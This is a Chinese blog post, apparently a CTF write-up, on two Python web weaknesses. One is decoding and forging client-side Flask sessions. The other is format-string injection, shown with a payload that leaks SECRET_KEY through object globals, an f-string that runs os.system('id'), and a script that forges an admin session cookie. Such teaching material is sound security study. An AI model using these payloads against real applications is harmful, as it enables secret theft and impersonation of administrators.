python格式化字符串漏洞_Python Web之flask session&格式化字符串漏洞

原创

weixin_39590868 于 2020-12-17 20:34:01 发布 103 收藏
文章标签： python格式化字符串漏洞

本文链接：https://blog.csdn.net/weixin_39590868/article/details/111452936

这是在参加百越杯CTF遇到的一道题目，其中涉及到两个python安全相关的知识点，在此做一个总结。

flask session问题

由于 flask 是非常轻量级的 Web框架 ， 其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取)，且仅对 session 进行了签名，缺少数据防篡改实现，这便很容易存在安全漏洞。

假设现在我们有一串 session 值为： eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYlkY ，那么我们可以通过如下代码对其进行解密：

```
from itsdangerous import *

s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYlkY"

data,timestamp,secret = s.split('.')

int.from_bytes(base64_decode(timestamp),byteorder='big')
```

还可以用如下 P师傅 的程序解密：

```
#!/usr/bin/env python3

import sys

import zlib

from base64 import b64decode

from flask.sessions import session_json_serializer

from itsdangerous import base64_decode

def decryption(payload):

payload, sig = payload.rsplit(b'.', 1)

payload, timestamp = payload.rsplit(b'.', 1)

decompress = False

if payload.startswith(b'.'):

payload = payload[1:]

decompress = True
```

```
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
```

通过上述脚本解密处 session ，我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ，进而伪造任意用户身份，扩大攻击效果。

关于 flask 的 session 机制，可以参考这篇文章：flask 源码解析：session

关于客户端 session 问题，可以参考这篇文章：客户端 session 导致的安全问题

Python格式化字符串问题

在 python 中，提供了 4种 主要的格式化字符串方式，分别如下：

第一种：%操作符

%操作符 沿袭C语言中printf语句的风格。

```
>>> name = 'Bob'
>>> 'Hello,%s' % name
"Hello, Bob"
```

第二种：string.Template

使用标准库中的模板字符串类进行字符串格式化。

```
>>> name = 'Bob'
>>> from string import Template
>>> t = Template('Hey, $name!')
>>> t.substitute(name=name)
```

'Hey, Bob!'

第三种：调用format方法

python3后引入的新版格式化字符串写法，但是这种写法存在安全隐患。

>>> name , errno = 'Bob' , 50159747054

>>> 'Hello, {}'.format(name)

'Hello, Bob'

>>> 'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)

'Hey Bob, there is a 0xbadc0ffee error!'

存在安全隐患的事例代码：

>>> config = {'SECRET_KEY': '12345'}

>>> class User(object):

... def __init__(self, name):

... self.name = name

...

>>> user = User('joe')

>>> '{0.__class__.__init__.__globals__[config]}'.format(user)

"{'SECRET_KEY': '12345'}"

从上面的例子中，我们可以发现：如果用来格式化的字符串可以被控制，攻击者就可以通过注入特殊变量，带出敏感数据。更多漏洞分析，可以参阅：Python 格式化字符串漏洞(Django为例)

第四种:f-Strings

这是python3.6之后新增的一种格式化字符串方式，其功能十分强大，可以执行字符串中包含的python表达式，安全隐患可想而知。

>>> a , b = 5 , 10

>>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'

'Five plus ten is 15 and not 30.'

>>> f'{__import__("os").system("id")}'

uid=0(root) gid=0(root) groups=0(root)

'0'

案例分析

题目界面如下：

这是 flask 写的一个网站，网站提供了注册和登录功能。在用户登录后，存在一个 edit secert 功能，下面我们直接来审计源码。

需要阅读的代码文件就4个，代码量相对较少。

__init__.py 的代码主要对Web应用程序进行初始化操作。

auth.py 的代码主要是对用户的身份进行处理

可以看到 第84-91行 代码，只有 admin 身份才能获得 flag ， 而 第73行 代码会将成功登录的用户重定向到用户基本信息查看页面，链接形式形如：

db_init.py 的代码主要就是定义了数据库的表模型，这里便不再贴代码。

secert.py 的代码需要关注一下，其中对查看用户信息和编辑secret做了定义。当我们在阅读 views_info 方法的代码时，就知道上面的用户信息遍历漏洞是如何形成的了。首先只要用户登录了，页面就会根据 id 将对应的用户信息显示在页面上，而这个 id 可以通过 GET 请求方式来控制，这就形成了用户信息遍历漏洞。但是要想读取其他用户的 secert ， id 值就必须和 session 中存储的 user_id 值一样。

观察上图 第26、33行 ，很明显的看到 secert_t 变量进行了两次格式化，这里便存在格式化字符串漏洞。例如我们试一下编辑 secret 值为：{user_m.password} ，发现确实可以带出数据。

继续往下看 edit_secert 方法，其主要是定义了用户只能修改自己的 scert ，没有需要关注的地方。

那么现在的思路就是通过这个格式化字符串漏洞，带出 flask 用于签名认证的 SECRET_KEY ，然后本地运行网站代码，通过该 SECRET_KEY 伪造 admin 的 session 登录即可。由于可注入的对象 user_m 是继承自 SQLAlchemy 对象，我们在查阅其源码时发现在开头处导入了 current_app 对象。

我们通过注入下面 payload ，可以查看到 Web 应用程序使用的 SECRET_KEY 。

{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}

PS：这里也附上官方 writeup 中的 payload ：

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__

在获取了 SECRET_KEY 后，我们就来伪造 admin 的 session 登录看看。前面我们说过了， flask 的 session 是存储在 cookie 中的，所以我们先来看一下本例中普通用户的 session 形式。

我们在前面的用户信息遍历漏洞中，可知 admin 的 id 为5，所以我们本地跑起 flask 程序，用得到的 SECRET_KEY 伪造 admin 的 session 。

```
# test_app.py

from flask import Flask, session

app = Flask(__name__)

app.config['SECRET_KEY']='ichunqiuQAQ013'

@app.route('/flag')

def set_id():

session['user_id']=5

return "ok"

app.run(debug=True)
```

PS：起 flask 的时候，用命令 flask init-db 初始化数据库的时候，遇到 Error: No such command "init-db" 错误，后面通过 export FLASK_APP=__init__.py 解决。

参考文章